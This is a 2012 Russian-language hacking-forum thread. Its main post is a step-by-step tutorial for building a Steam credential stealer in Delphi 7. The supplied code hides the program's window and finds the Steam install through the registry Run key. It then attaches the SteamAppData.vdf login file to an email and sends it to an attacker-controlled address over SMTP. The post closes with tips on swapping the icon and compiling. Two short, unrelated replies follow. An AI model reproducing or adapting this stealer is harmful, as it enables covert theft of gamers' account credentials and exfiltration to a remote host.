ShopWorld
Вернуться ShopWorld > Статьи и обсуждение > Программирование > С/С++, C#, Delphi, .NET, Asm ...
 
С/С++, C#, Delphi, .NET, Asm ... прикладное программирование


Ответ
 
Опции темы Опции просмотра
 
Старый 30.06.2012, 14:18   #1
-NegaTiV-
Проверяющий
 
Аватар для -NegaTiV-
 
Регистрация: 14.03.2012
Адрес: 666
Сообщений: 599

Сказали спасибо: 196

3223222

Проверено Создаем стиллер Steam на Delphi

Сегодня мы будем писать свой стиллер на Delphi 7.
Он будет много весить ~800кб (да я знаю консоль + winsock рулят но мне было лень).

И так что нам нужно будет реализовать:
1. Поиск папки стима и самого файла с пассами
2. Отправка файла на почту.

Поехали.

Откроем Delphi 7, создадим проект. Создали? идем дальше.
Чтобы формы не было при открытии стиллера добавим строку.

[DELPHI]Application.ShowMainForm:= False;[/DELPHI]

Для работы с реестром в Uses пропишем Registry;
Добавим компонент IdAntiFreeze из вкладки IndyMisc
Добавим переменнные

[DELPHI]var
Form1: TForm1;
m:TIdMessage;
sm:tidsmtp;
att:tidattachment;[/DELPHI]


Создадим процедуру для коннекта и отправки файла


[DELPHI]procedure send(pathSteam, login, pass, kuda:string);
begin
m:=TIdMessage.create(form1);
m.From.Text:=login; //логин отправителя
m.Recipients.Add;
m.Recipients.Items[0].Text:=kuda; // Кому
m.Subject:='Привет мой друг';// тема
m.Body.Text:='Это тебе ;)';// текст
sm:=tidsmtp.Create(form1);
sm.AuthenticationType := atLogin;
sm.Host:='smtp.mail.ru'; //smtp-адрес
att:=TIdAttachment.Create(m.MessageParts,pathSteam );
sm.Username:=login; //логин отправителя
sm.Password:=pass; //пароль отправителя
sm.Connect();
if sm.Connected then
begin
sm.Send(M);
end;
sm.Disconnect;
att.Free;
sm.Free;
end;[/DELPHI]



[DELPHI]function ReadReg(root:integer; t,key:string):string;
var
s:string;
reg: TRegistry;
begin
reg := TRegistry.Create;
reg.RootKey := root;
reg.OpenKey(key, true);
case reg.Getdatatype(t) of
rdString, rdExpandString:
s:= reg.ReadString(t);
rdInteger:
s:= IntToStr(reg.readinteger(t));
else
s:='other type';
end;
result:=s;
reg.Free;
end;[/DELPHI]


[DELPHI]function Pars(TextIn, Text, TextOut: string): string;
var
TempStr: string;
begin
Result := '';
TempStr := Text;
TempStr := Copy(TempStr, Pos(TextIn, TempStr) +1, Length(TempStr));
Delete(TempStr, Pos(TextOut, TempStr), Length(TempStr));
Result := TempStr;
end;[/DELPHI]


Кликаем 2раза по форме
Применим процедуры


procedure TForm1.FormCreate(Sender: TObject);
var
regpath, path:string;
begin
regpath:=ReadReg(HKEY_CURRENT_USER,'Steam','\Softw are\Microsoft\Windows\CurrentVersion\Run');
path:=Pars('"',regpath, '"');
path:=ExtractFilePath(path)+'config\SteamAppData.v df';
send(path, 'логин@mail.ru', 'пароль', 'Куда слать@mail.ru');
end;


Все. С кодом мы закончили. Теперь приступим с изменению иконки и компиляции.

Изменить иконку не составит проблем.
Сохраним проект.
File -> Save as -> Обязательно выберите отдельную папку.

Компилируем
Сам exe файл соранен в вашу папку с проектом.
Все стиллер готов.










Скрытый текст (вы должны войти под своим логином или зарегистрироваться и иметь 5 сообщение(ий)):
У вас нет прав чтобы видеть скрытый текст, содержащейся здесь.
__________________
[Ссылки могут видеть только зарегистрированные пользователи. ]
-NegaTiV- вне форума  
Сказали 'Спасибо' за это сообщение.
Ответить с цитированием
Внимание посетители ShopWorld.biz
                                       У нас проводится Набор модераторов.
                                       Правила раздела: Покупка / Продажа / Обмен / Услуги
                                       Проверка ваших тем администрацией.(Раздел "Торговля")
                                       Пожелания по работе форума и Реклама на форуме.
                                       Советуем заглянуть вам в раздел Торговля и Статьи и обсуждение или World navigation
                                       Для связи с администрацией пишите в icq: 6506666 или в ЛС.
                                       Администрация не несет ответственности за причиненный вред пользователям и от других пользователей(пользуйтесь гарантом),
                                       Все материалы размещенные на сайте предоставленны в ознакомительных целях.
                                       Ап темы в разделе Покупка / Продажа / Обмен / Услуги раз в 5 дней, как апать тему читаем тут.
Старый 29.10.2012, 02:12   #2
fghjkl
Посетитель
 
Аватар для fghjkl
 
Регистрация: 29.10.2012
Сообщений: 6

Сказали спасибо: 0
Спасибо!

Добавлено через 49 секунд

форум заброше?
fghjkl вне форума  
Сказали 'Спасибо' за это сообщение.
Ответить с цитированием
Старый 06.10.2014, 16:25   #3
PainNiga
Посетитель
 
Аватар для PainNiga
 
Регистрация: 06.10.2014
Сообщений: 5

Сказали спасибо: 1
да
PainNiga вне форума  
Сказали 'Спасибо' за это сообщение.
Ответить с цитированием
Ответ

Опции темы
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход

Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Кейлоггер Delphi (source) -NegaTiV- С/С++, C#, Delphi, .NET, Asm ... 2 06.10.2014 16:24
Исходники Delphi n\A С/С++, C#, Delphi, .NET, Asm ... 4 14.07.2012 18:48
Декомпиляция в Delphi -NegaTiV- Избранное 0 20.06.2012 01:30
Перехват API функции ZwOpenProcess на Delphi 7 -NegaTiV- Избранное 0 20.06.2012 01:28
Создаем Свой CS 1.6 Non-Steam Сервер †SHYLLER†™ Counter Strike 1.6 0 07.01.2011 03:42


Текущее время: 15:43. Часовой пояс GMT +5.

Автор ShopWorld: †SHYLLER†
Яндекс.Метрика